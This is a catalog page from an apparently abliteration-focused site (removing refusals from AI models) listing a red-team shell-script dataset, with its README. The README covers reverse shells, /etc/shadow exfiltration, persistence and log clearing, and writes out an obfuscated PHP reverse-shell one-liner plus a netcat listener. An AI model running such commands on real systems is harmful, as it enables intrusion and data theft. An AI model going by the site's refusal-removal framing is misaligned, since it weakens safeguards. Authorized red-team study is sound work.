abliteration.org
Get the app

Two ways to read this site

Technical mode is the default: exact terms and codes, for engineers, researchers, journalists and companies. Simple mode gives the same facts in plain words, for anyone who wants a model that runs on their own computer. You can switch at any time at the top of the page.

technical
MLX weights for Apple silicon (M1 or later), usually quantized to 4 or 8 bits.
simple
Made for Macs with Apple silicon (M1 or newer), usually compressed to 4 or 8 bits.

darkknight25/Red_Team_Operations_ShellScript_Dataset

published by @darkknight25

Harmful and harmless prompt sets, contrastive pairs, and jailbreak and attack corpora.Sets of harmful and harmless requests, pairs of opposite examples, and attack datasets.

language:enlicense:mitsize_categories:1K<n<10Kregion:uscybersecurity
Lifetime downloads
515
Last 30 days
44
Likes
-
Size
283.0 KB

Description

Red Team Operations Shell Script Dataset

Overview

This dataset, identified as shell_script_dataset.jsonl, is a curated collection of 1000 shell scripts designed for Red Team Operations (RTO).

It encompasses tactics, techniques, and procedures (TTPs) for offensive cybersecurity tasks, including reconnaissance, reverse shells, data exfiltration, persistence mechanisms, and defense evasion.

Each entry is structured to provide actionable, stealth-oriented scripts… See the full description on the dataset page: https://huggingface.co/datasets/darkknight25/Red_Team_Operations_ShellScript_Dataset.

Used by uncensored models none yet

No abliterated models in our catalog have declared this dataset in their YAML metadata yet. This can mean the dataset is used but not declared, is used outside abliteration workflows, or is new. The link will populate automatically as models are indexed.No model in our catalog lists this dataset yet. It may be used without being listed, used for other work, or simply be new. The list fills in by itself as models are added.

MetadataDetails

License
mit
Language
en
Created on HFCreated
2025-08-07 · 1 years ago
Size category
1K<n<10K

Related datasets same stage · Extractsame step · Finding refusals

Read further

Total size
283.0 KB
Files
3
Formats
jsonl
Head
6787ab6
Last updated on HFLast updated
2025-08-07

Download the dataset

Copy any of these snippets into your notebook or terminal. All three fetch directly from Hugging Face using your own credentials.Each of these lines of code downloads the dataset straight from Hugging Face, with your own Hugging Face login.

Recommended: datasets library (Python)
from datasets import load_dataset
ds = load_dataset("darkknight25/Red_Team_Operations_ShellScript_Dataset")
Raw snapshot (Python)All files (Python)
from huggingface_hub import snapshot_download
snapshot_download(repo_id="darkknight25/Red_Team_Operations_ShellScript_Dataset", repo_type="dataset")
git clone (requires git-lfs)With git (needs git-lfs)
git clone https://huggingface.co/datasets/darkknight25/Red_Team_Operations_ShellScript_Dataset

Files by folder from our last crawlfrom our last check

top level 3 files 283.0 KB
.gitattributes 2.5 KB file download
README.md 6.1 KB md download
red_team_scripting_dataset.jsonl 274.5 KB jsonl download

READMEAuthor's description current version from Hugging Faceas it is now on Hugging Face

Red Team Operations Shell Script Dataset

Overview

This dataset, identified as shell_script_dataset.jsonl, is a curated collection of 1000 shell scripts designed for Red Team Operations (RTO).

It encompasses tactics, techniques, and procedures (TTPs) for offensive cybersecurity tasks, including reconnaissance, reverse shells, data exfiltration, persistence mechanisms, and defense evasion.

Each entry is structured to provide actionable, stealth-oriented scripts for advanced penetration testing, covert operations, and adversarial simulation in controlled environments.

The dataset is intended for cybersecurity professionals, Red Team operators, and researchers conducting offensive security assessments. All scripts must be used ethically and legally, in compliance with applicable laws and regulations, and only within authorized testing environments.

Dataset Structure

The dataset is formatted in JSON Lines (.jsonl), with each line representing a single script entry. The structure of each entry includes:

id: Unique identifier for the script (e.g., RTO-001 to RTO-1000).
description: Brief description of the script's purpose.
script: The shell command or script, often incorporating encoding (e.g., base64, hex), compression (e.g., gzip), or encryption (e.g., AES-256-CBC) for stealth and obfuscation.
category: The operational category, such as recon, reverse_shell, exfiltration, persistence, or defense_evasion.
usage: A concise explanation of the script’s application in Red Team scenarios.

Example Entry

{"id": "RTO-901", "description": "Enumerate kernel process memory allocation stats", "script": "cat /proc/self/statm | awk '{print $5}'", "category": "recon", "usage": "Analyze text segment size for process profiling"}

Categories

The scripts are organized into the following categories:

Recon: Scripts for gathering system and network information, such as process memory stats, file descriptors, and network interface details.
Reverse Shell: Commands to establish covert communication channels to a command-and-control (C2) server using tools like netcat, socat, PHP, Python, or Ruby.
Exfiltration: Techniques for extracting sensitive data (e.g., /etc/shadow) via protocols like HTTP, SCP, or rsync, often with encoding, compression, or encryption.
Persistence: Methods to maintain access, including cron jobs, systemd services/timers/sockets, shell aliases, and profile modifications.
Defense Evasion: Scripts to disable auditing, clear logs, or bypass memory and process tracking mechanisms.

Usage Guidelines

Ethical Use: These scripts are intended for authorized penetration testing and Red Team exercises. Unauthorized use is strictly prohibited.
Environment: Test scripts in isolated, controlled environments (e.g., virtual machines or lab setups) to avoid unintended consequences.
Customization: Replace placeholder values (e.g., 10.10.10.10:4444, secret for encryption keys, or [email protected]) with environment-specific parameters.
Dependencies: Some scripts require tools like jq, yq, xxd, openssl, socat, or curl. Ensure these are installed in the target environment.
Permissions: Many scripts require elevated privileges (e.g., root) for accessing system files or modifying configurations like /etc/cron.d.

Installation and Setup

Download: Obtain the shell_script_dataset.jsonl file from the repository.
Parse: Use a JSON Lines parser (e.g., jq or custom scripts in Python) to extract and process entries.
jq -c . red_team_scripting_dataset.jsonl

Execution: Copy the desired script from the script field and execute it in a compatible shell environment (e.g., Bash). Ensure dependencies are met.
Validation: Test scripts in a sandboxed environment to verify functionality and avoid unintended system modifications.

Security Considerations

Obfuscation: Scripts leverage encoding (base64, hex), compression (gzip), and encryption (AES-256-CBC) to evade detection. Be aware of anti-virus or EDR solutions that may flag these activities.
Logging: Defense evasion scripts clear specific logs (e.g., /var/log/auditd_*). Ensure compliance with organizational policies when clearing logs.
Network: Reverse shells and exfiltration scripts communicate with external servers. Use secure, controlled C2 infrastructure to prevent data leakage.
Encryption: Scripts using openssl for encryption require a decryption key (secret in examples). Securely manage keys to prevent unauthorized access.

Example Use Case

To establish a reverse shell using a base64-encoded hex payload in a PHP environment:

Identify the script (e.g., RTO-907).
Replace 10.10.10.10:4444 with your C2 server’s IP and port.
Execute the script in a PHP-capable environment:php -r '$sock=fsockopen("YOUR_IP",YOUR_PORT);$cmd=shell_exec("echo 62617368202d69203e26202f6465762f7463702fYOUR_IP/YOUR_PORT 0>&1 | base64 -d | xxd -r -p");exec("$cmd <&3 >&3 2>&3");'


Ensure a listener (e.g., nc -lvnp YOUR_PORT) is running on the C2 server.

Contributing

Contributions are welcome to enhance the dataset with additional scripts, categories, or obfuscation techniques. Submit pull requests with:

New script entries in JSON Lines format.
Clear descriptions and usage instructions.
Tested scripts with documented dependencies.

Please adhere to ethical guidelines and ensure scripts are designed for authorized testing purposes only.

Disclaimer

This dataset is provided for educational and authorized testing purposes only. The authors and contributors are not responsible for any misuse, damage, or illegal activities resulting from the use of these scripts.

Always obtain explicit permission before conducting security assessments.

License

This dataset is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or feedback, contact the project maintainers via the repository’s issue tracker or reach out to the [email protected].

README historyEdit history 3 revisions3 edits

Every night we snapshot the README of every dataset in the catalog. When the SHA changes we archive the new version and diff it against the last. This is the evolving thought record of the alignment-data field: what the author decided to say about the corpus, and how that framing shifted over time.Every night we save the author's description of every dataset in the catalog. When it changes, we keep the new text and compare it with the one before. This shows what each author chose to say about their dataset, and how that changed over time.

  1. 2025-08-07 Update README.md 6787ab6 5.9 KB
    Loading...
  2. 2025-08-07 Upload red_team_scripting_dataset.jsonl ca09477 24 B
    Loading...
  3. 2025-08-07 initial commit d2b9058 24 B
    Loading...
Download from Hugging Face

darkknight25/Red_Team_Operations_ShellScript_Dataset

Catalog is the map. Apps are the tools.

Run models on your own machine, not in the cloud.

Every GGUF model page has an "Open in Abliteration" button that lets you pick a file, then opens it in the desktop app. No API keys, no subscription, no prompt leakage.Each model page in the format the app uses has an "Open in Abliteration" button to open a file in the desktop app. No API keys, no subscription, your requests stay on your computer.

Open in Abliteration